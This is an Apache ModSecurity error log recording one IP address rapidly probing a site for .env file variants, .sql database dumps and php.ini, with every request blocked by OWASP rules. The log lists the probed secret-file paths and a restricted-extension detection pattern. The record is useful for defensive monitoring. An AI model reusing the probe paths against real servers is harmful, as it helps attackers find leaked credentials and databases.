[Sun Oct 25 00:17:51.317739 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44528] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at2C71Xj5p6YZEYZ6btH_wAAAAE"]
[Sun Oct 25 00:17:51.318007 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44528] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at2C71Xj5p6YZEYZ6btH_wAAAAE"]
[Sun Oct 25 00:17:51.318228 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44528] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at2C71Xj5p6YZEYZ6btH_wAAAAE"]
[Sun Oct 25 00:17:51.319316 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at2C71Xj5p6YZEYZ6btIAAAAAAE"]
[Sun Oct 25 00:17:51.319460 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at2C71Xj5p6YZEYZ6btIAAAAAAE"]
[Sun Oct 25 00:17:51.319673 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at2C71Xj5p6YZEYZ6btIAAAAAAE"]
[Sun Oct 25 00:17:51.324432 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at2C71Xj5p6YZEYZ6btIBAAAAAE"]
[Sun Oct 25 00:17:51.324636 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at2C71Xj5p6YZEYZ6btIBAAAAAE"]
[Sun Oct 25 00:17:51.324875 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at2C71Xj5p6YZEYZ6btIBAAAAAE"]
[Sun Oct 25 00:17:51.325953 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45054] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at2C71Xj5p6YZEYZ6btIBQAAAAE"]
[Sun Oct 25 00:17:51.326108 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at2C71Xj5p6YZEYZ6btIBQAAAAE"]
[Sun Oct 25 00:17:51.326332 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45054] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at2C71Xj5p6YZEYZ6btIBQAAAAE"]
[Sun Oct 25 00:17:51.327201 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45394] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/backup_db.sql"] [unique_id "at2C71Xj5p6YZEYZ6btIBgAAAAE"]
[Sun Oct 25 00:17:51.327550 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backup_db.sql"] [unique_id "at2C71Xj5p6YZEYZ6btIBgAAAAE"]
[Sun Oct 25 00:17:51.327788 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:45394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backup_db.sql"] [unique_id "at2C71Xj5p6YZEYZ6btIBgAAAAE"]
[Sun Oct 25 00:17:51.328926 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at2C71Xj5p6YZEYZ6btIBwAAAAE"]
[Sun Oct 25 00:17:51.329071 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at2C71Xj5p6YZEYZ6btIBwAAAAE"]
[Sun Oct 25 00:17:51.329252 2026] [security2:error] [pid 2762144:tid 2762144] [client 93.123.109.214:44580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at2C71Xj5p6YZEYZ6btIBwAAAAE"]
[Sun Oct 25 00:17:52.545164 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:44568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at2C8OCxMHnm4za4Qy6kHwAAADg"]
[Sun Oct 25 00:17:52.545365 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:44568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at2C8OCxMHnm4za4Qy6kHwAAADg"]
[Sun Oct 25 00:17:52.545682 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:44568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at2C8OCxMHnm4za4Qy6kHwAAADg"]
[Sun Oct 25 00:17:52.558080 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:44546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at2C8OCxMHnm4za4Qy6kJAAAADg"]
[Sun Oct 25 00:17:52.558253 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:44546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at2C8OCxMHnm4za4Qy6kJAAAADg"]
[Sun Oct 25 00:17:52.558473 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:44546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at2C8OCxMHnm4za4Qy6kJAAAADg"]
[Sun Oct 25 00:17:52.578504 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:45488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at2C8OCxMHnm4za4Qy6kLAAAADg"]
[Sun Oct 25 00:17:52.578678 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:45488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at2C8OCxMHnm4za4Qy6kLAAAADg"]
[Sun Oct 25 00:17:52.578913 2026] [security2:error] [pid 2762196:tid 2762196] [client 93.123.109.214:45488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production.local"] [unique_id "at2C8OCxMHnm4za4Qy6kLAAAADg"]
[Sun Oct 25 00:17:52.609609 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45378] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/data.sql"] [unique_id "at2C8LqcD5iRlWFmMmQ7PgAAAEQ"]
[Sun Oct 25 00:17:52.610067 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45378] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/data.sql"] [unique_id "at2C8LqcD5iRlWFmMmQ7PgAAAEQ"]
[Sun Oct 25 00:17:52.610345 2026] [security2:error] [pid 2762206:tid 2762206] [client 93.123.109.214:45378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/data.sql"] [unique_id "at2C8LqcD5iRlWFmMmQ7PgAAAEQ"]
[Sun Oct 25 00:17:52.610697 2026] [security2:error] [pid 2762202:tid 2762202] [client 93.123.109.214:45384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/site.sql"] [unique_id "at2C8MgURgH9ZScbySWVzQAAAD8"]
[Sun Oct 25 00:17:52.611196 2026] [security2:error] [pid 2762202:tid 2762202] [client 93.123.109.214:45384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/site.sql"] [unique_id "at2C8MgURgH9ZScbySWVzQAAAD8"]
[Sun Oct 25 00:17:52.611503 2026] [security2:error] [pid 2762202:tid 2762202] [client 93.123.109.214:45384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/site.sql"] [unique_id "at2C8MgURgH9ZScbySWVzQAAAD8"]
[Sun Oct 25 00:17:52.616799 2026] [security2:error] [pid 2762202:tid 2762202] [client 93.123.109.214:44790] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/database.sql"] [unique_id "at2C8MgURgH9ZScbySWV0QAAAD8"]
[Sun Oct 25 00:17:52.617409 2026] [security2:error] [pid 2762202:tid 2762202] [client 93.123.109.214:44790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/database.sql"] [unique_id "at2C8MgURgH9ZScbySWV0QAAAD8"]
[Sun Oct 25 00:17:52.617657 2026] [security2:error] [pid 2762202:tid 2762202] [client 93.123.109.214:44790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/database.sql"] [unique_id "at2C8MgURgH9ZScbySWV0QAAAD8"]
[Sun Oct 25 00:17:52.698105 2026] [authz_core:error] [pid 2762186:tid 2762186] [client 93.123.109.214:45510] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:17:52.981964 2026] [security2:error] [pid 2762205:tid 2762205] [client 93.123.109.214:45060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at2C8EMrl7g_s-KR954lwQAAAEM"]
